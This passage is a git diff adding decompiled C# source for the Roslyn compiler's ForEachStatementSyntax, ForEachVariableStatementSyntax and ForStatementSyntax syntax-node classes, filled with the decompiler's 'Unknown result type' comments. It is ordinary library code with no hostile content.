Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, awaitKeyword, forEachKeyword, openParenToken, type, identifier, inKeyword, expression, closeParenToken, statement); + } + + internal ForEachStatementSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 4 => ((SyntaxNode)this).GetRed(ref type, 4), + 7 => ((SyntaxNode)this).GetRed(ref expression, 7), + 9 => ((SyntaxNode)this).GetRed(ref statement, 9), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 4 => type, + 7 => expression, + 9 => statement, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitForEachStatement(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitForEachStatement(this); + } + + public ForEachStatementSyntax Update(SyntaxList attributeLists, SyntaxToken awaitKeyword, SyntaxToken forEachKeyword, SyntaxToken openParenToken, TypeSyntax type, SyntaxToken identifier, SyntaxToken inKeyword, ExpressionSyntax expression, SyntaxToken closeParenToken, StatementSyntax statement) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + //IL_0086: Unknown result type (might be due to invalid IL or missing references) + //IL_0087: Unknown result type (might be due to invalid IL or missing references) + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || awaitKeyword != AwaitKeyword || forEachKeyword != ForEachKeyword || openParenToken != OpenParenToken || type != Type || identifier != Identifier || inKeyword != InKeyword || expression != Expression || closeParenToken != CloseParenToken || statement != Statement) + { + ForEachStatementSyntax forEachStatementSyntax = SyntaxFactory.ForEachStatement(attributeLists, awaitKeyword, forEachKeyword, openParenToken, type, identifier, inKeyword, expression, closeParenToken, statement); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return forEachStatementSyntax; + } + return forEachStatementSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override StatementSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new ForEachStatementSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, AwaitKeyword, ForEachKeyword, OpenParenToken, Type, Identifier, InKeyword, Expression, CloseParenToken, Statement); + } + + internal override CommonForEachStatementSyntax WithAwaitKeywordCore(SyntaxToken awaitKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAwaitKeyword(awaitKeyword); + } + + public new ForEachStatementSyntax WithAwaitKeyword(SyntaxToken awaitKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, awaitKeyword, ForEachKeyword, OpenParenToken, Type, Identifier, InKeyword, Expression, CloseParenToken, Statement); + } + + internal override CommonForEachStatementSyntax WithForEachKeywordCore(SyntaxToken forEachKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithForEachKeyword(forEachKeyword); + } + + public new ForEachStatementSyntax WithForEachKeyword(SyntaxToken forEachKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, AwaitKeyword, forEachKeyword, OpenParenToken, Type, Identifier, InKeyword, Expression, CloseParenToken, Statement); + } + + internal override CommonForEachStatementSyntax WithOpenParenTokenCore(SyntaxToken openParenToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithOpenParenToken(openParenToken); + } + + public new ForEachStatementSyntax WithOpenParenToken(SyntaxToken openParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, AwaitKeyword, ForEachKeyword, openParenToken, Type, Identifier, InKeyword, Expression, CloseParenToken, Statement); + } + + public ForEachStatementSyntax WithType(TypeSyntax type) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, AwaitKeyword, ForEachKeyword, OpenParenToken, type, Identifier, InKeyword, Expression, CloseParenToken, Statement); + } + + public ForEachStatementSyntax WithIdentifier(SyntaxToken identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, AwaitKeyword, ForEachKeyword, OpenParenToken, Type, identifier, InKeyword, Expression, CloseParenToken, Statement); + } + + internal override CommonForEachStatementSyntax WithInKeywordCore(SyntaxToken inKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithInKeyword(inKeyword); + } + + public new ForEachStatementSyntax WithInKeyword(SyntaxToken inKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, AwaitKeyword, ForEachKeyword, OpenParenToken, Type, Identifier, inKeyword, Expression, CloseParenToken, Statement); + } + + internal override CommonForEachStatementSyntax WithExpressionCore(ExpressionSyntax expression) + { + return WithExpression(expression); + } + + public new ForEachStatementSyntax WithExpression(ExpressionSyntax expression) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, AwaitKeyword, ForEachKeyword, OpenParenToken, Type, Identifier, InKeyword, expression, CloseParenToken, Statement); + } + + internal override CommonForEachStatementSyntax WithCloseParenTokenCore(SyntaxToken closeParenToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithCloseParenToken(closeParenToken); + } + + public new ForEachStatementSyntax WithCloseParenToken(SyntaxToken closeParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, AwaitKeyword, ForEachKeyword, OpenParenToken, Type, Identifier, InKeyword, Expression, closeParenToken, Statement); + } + + internal override CommonForEachStatementSyntax WithStatementCore(StatementSyntax statement) + { + return WithStatement(statement); + } + + public new ForEachStatementSyntax WithStatement(StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, AwaitKeyword, ForEachKeyword, OpenParenToken, Type, Identifier, InKeyword, Expression, CloseParenToken, statement); + } + + internal override StatementSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new ForEachStatementSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ForEachVariableStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ForEachVariableStatementSyntax.cs new file mode 100644 index 0000000..21b3d6a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ForEachVariableStatementSyntax.cs @@ -0,0 +1,298 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ForEachVariableStatementSyntax : CommonForEachStatementSyntax +{ + private SyntaxNode? attributeLists; + + private ExpressionSyntax? variable; + + private ExpressionSyntax? expression; + + private StatementSyntax? statement; + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public override SyntaxToken AwaitKeyword + { + get + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken awaitKeyword = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ForEachVariableStatementSyntax)(object)((SyntaxNode)this).Green).awaitKeyword; + if (awaitKeyword == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)awaitKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public override SyntaxToken ForEachKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ForEachVariableStatementSyntax)(object)((SyntaxNode)this).Green).forEachKeyword, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public override SyntaxToken OpenParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ForEachVariableStatementSyntax)(object)((SyntaxNode)this).Green).openParenToken, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + public ExpressionSyntax Variable => ((SyntaxNode)this).GetRed(ref variable, 4); + + public override SyntaxToken InKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ForEachVariableStatementSyntax)(object)((SyntaxNode)this).Green).inKeyword, ((SyntaxNode)this).GetChildPosition(5), ((SyntaxNode)this).GetChildIndex(5)); + + public override ExpressionSyntax Expression => ((SyntaxNode)this).GetRed(ref expression, 6); + + public override SyntaxToken CloseParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ForEachVariableStatementSyntax)(object)((SyntaxNode)this).Green).closeParenToken, ((SyntaxNode)this).GetChildPosition(7), ((SyntaxNode)this).GetChildIndex(7)); + + public override StatementSyntax Statement => ((SyntaxNode)this).GetRed(ref statement, 8); + + public ForEachVariableStatementSyntax Update(SyntaxToken forEachKeyword, SyntaxToken openParenToken, ExpressionSyntax variable, SyntaxToken inKeyword, ExpressionSyntax expression, SyntaxToken closeParenToken, StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + return Update(AwaitKeyword, forEachKeyword, openParenToken, variable, inKeyword, expression, closeParenToken, statement); + } + + public ForEachVariableStatementSyntax Update(SyntaxToken awaitKeyword, SyntaxToken forEachKeyword, SyntaxToken openParenToken, ExpressionSyntax variable, SyntaxToken inKeyword, ExpressionSyntax expression, SyntaxToken closeParenToken, StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, awaitKeyword, forEachKeyword, openParenToken, variable, inKeyword, expression, closeParenToken, statement); + } + + internal ForEachVariableStatementSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 4 => ((SyntaxNode)this).GetRed(ref variable, 4), + 6 => ((SyntaxNode)this).GetRed(ref expression, 6), + 8 => ((SyntaxNode)this).GetRed(ref statement, 8), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 4 => variable, + 6 => expression, + 8 => statement, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitForEachVariableStatement(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitForEachVariableStatement(this); + } + + public ForEachVariableStatementSyntax Update(SyntaxList attributeLists, SyntaxToken awaitKeyword, SyntaxToken forEachKeyword, SyntaxToken openParenToken, ExpressionSyntax variable, SyntaxToken inKeyword, ExpressionSyntax expression, SyntaxToken closeParenToken, StatementSyntax statement) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || awaitKeyword != AwaitKeyword || forEachKeyword != ForEachKeyword || openParenToken != OpenParenToken || variable != Variable || inKeyword != InKeyword || expression != Expression || closeParenToken != CloseParenToken || statement != Statement) + { + ForEachVariableStatementSyntax forEachVariableStatementSyntax = SyntaxFactory.ForEachVariableStatement(attributeLists, awaitKeyword, forEachKeyword, openParenToken, variable, inKeyword, expression, closeParenToken, statement); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return forEachVariableStatementSyntax; + } + return forEachVariableStatementSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override StatementSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new ForEachVariableStatementSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, AwaitKeyword, ForEachKeyword, OpenParenToken, Variable, InKeyword, Expression, CloseParenToken, Statement); + } + + internal override CommonForEachStatementSyntax WithAwaitKeywordCore(SyntaxToken awaitKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAwaitKeyword(awaitKeyword); + } + + public new ForEachVariableStatementSyntax WithAwaitKeyword(SyntaxToken awaitKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, awaitKeyword, ForEachKeyword, OpenParenToken, Variable, InKeyword, Expression, CloseParenToken, Statement); + } + + internal override CommonForEachStatementSyntax WithForEachKeywordCore(SyntaxToken forEachKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithForEachKeyword(forEachKeyword); + } + + public new ForEachVariableStatementSyntax WithForEachKeyword(SyntaxToken forEachKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, AwaitKeyword, forEachKeyword, OpenParenToken, Variable, InKeyword, Expression, CloseParenToken, Statement); + } + + internal override CommonForEachStatementSyntax WithOpenParenTokenCore(SyntaxToken openParenToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithOpenParenToken(openParenToken); + } + + public new ForEachVariableStatementSyntax WithOpenParenToken(SyntaxToken openParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, AwaitKeyword, ForEachKeyword, openParenToken, Variable, InKeyword, Expression, CloseParenToken, Statement); + } + + public ForEachVariableStatementSyntax WithVariable(ExpressionSyntax variable) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, AwaitKeyword, ForEachKeyword, OpenParenToken, variable, InKeyword, Expression, CloseParenToken, Statement); + } + + internal override CommonForEachStatementSyntax WithInKeywordCore(SyntaxToken inKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithInKeyword(inKeyword); + } + + public new ForEachVariableStatementSyntax WithInKeyword(SyntaxToken inKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, AwaitKeyword, ForEachKeyword, OpenParenToken, Variable, inKeyword, Expression, CloseParenToken, Statement); + } + + internal override CommonForEachStatementSyntax WithExpressionCore(ExpressionSyntax expression) + { + return WithExpression(expression); + } + + public new ForEachVariableStatementSyntax WithExpression(ExpressionSyntax expression) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, AwaitKeyword, ForEachKeyword, OpenParenToken, Variable, InKeyword, expression, CloseParenToken, Statement); + } + + internal override CommonForEachStatementSyntax WithCloseParenTokenCore(SyntaxToken closeParenToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithCloseParenToken(closeParenToken); + } + + public new ForEachVariableStatementSyntax WithCloseParenToken(SyntaxToken closeParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, AwaitKeyword, ForEachKeyword, OpenParenToken, Variable, InKeyword, Expression, closeParenToken, Statement); + } + + internal override CommonForEachStatementSyntax WithStatementCore(StatementSyntax statement) + { + return WithStatement(statement); + } + + public new ForEachVariableStatementSyntax WithStatement(StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, AwaitKeyword, ForEachKeyword, OpenParenToken, Variable, InKeyword, Expression, CloseParenToken, statement); + } + + internal override StatementSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new ForEachVariableStatementSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ForStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ForStatementSyntax.cs new file mode 100644 index 0000000..a426d7e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ForStatementSyntax.cs @@ -0,0 +1,342 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ForStatementSyntax : StatementSyntax +{ + private SyntaxNode? attributeLists; + + private VariableDeclarationSyntax? declaration; + + private SyntaxNode? initializers; + + private ExpressionSyntax? condition; + + private SyntaxNode? incrementors; + + private StatementSyntax? statement; + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public SyntaxToken ForKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ForStatementSyntax)(object)((SyntaxNode)this).Green).forKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public SyntaxToken OpenParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ForStatementSyntax)(object)((SyntaxNode)this).Green).openParenToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public VariableDeclarationSyntax? Declaration => ((SyntaxNode)this).GetRed(ref declaration, 3); + + public SeparatedSyntaxList Initializers + { + get + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode red = ((SyntaxNode)this).GetRed(ref initializers, 4); + if (red == null) + { + return default(SeparatedSyntaxList); + } + return new SeparatedSyntaxList(red, ((SyntaxNode)this).GetChildIndex(4)); + } + } + + public SyntaxToken FirstSemicolonToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ForStatementSyntax)(object)((SyntaxNode)this).Green).firstSemicolonToken, ((SyntaxNode)this).GetChildPosition(5), ((SyntaxNode)this).GetChildIndex(5)); + + public ExpressionSyntax? Condition => ((SyntaxNode)this).GetRed(ref condition, 6); + + public SyntaxToken SecondSemicolonToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ForStatementSyntax)(object)((SyntaxNode)this).Green).secondSemicolonToken, ((SyntaxNode)this).GetChildPosition(7), ((SyntaxNode)this).GetChildIndex(7)); + + public SeparatedSyntaxList Incrementors + { + get + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode red = ((SyntaxNode)this).GetRed(ref incrementors, 8); + if (red == null) + { + return default(SeparatedSyntaxList); + } + return new SeparatedSyntaxList(red, ((SyntaxNode)this).GetChildIndex(8)); + } + } + + public SyntaxToken CloseParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ForStatementSyntax)(object)((SyntaxNode)this).Green).closeParenToken, ((SyntaxNode)this).GetChildPosition(9), ((SyntaxNode)this).GetChildIndex(9)); + + public StatementSyntax Statement => ((SyntaxNode)this).GetRed(ref statement, 10); + + public ForStatementSyntax Update(SyntaxToken forKeyword, SyntaxToken openParenToken, VariableDeclarationSyntax? declaration, SeparatedSyntaxList initializers, SyntaxToken firstSemicolonToken, ExpressionSyntax? condition, SyntaxToken secondSemicolonToken, SeparatedSyntaxList incrementors, SyntaxToken closeParenToken, StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + 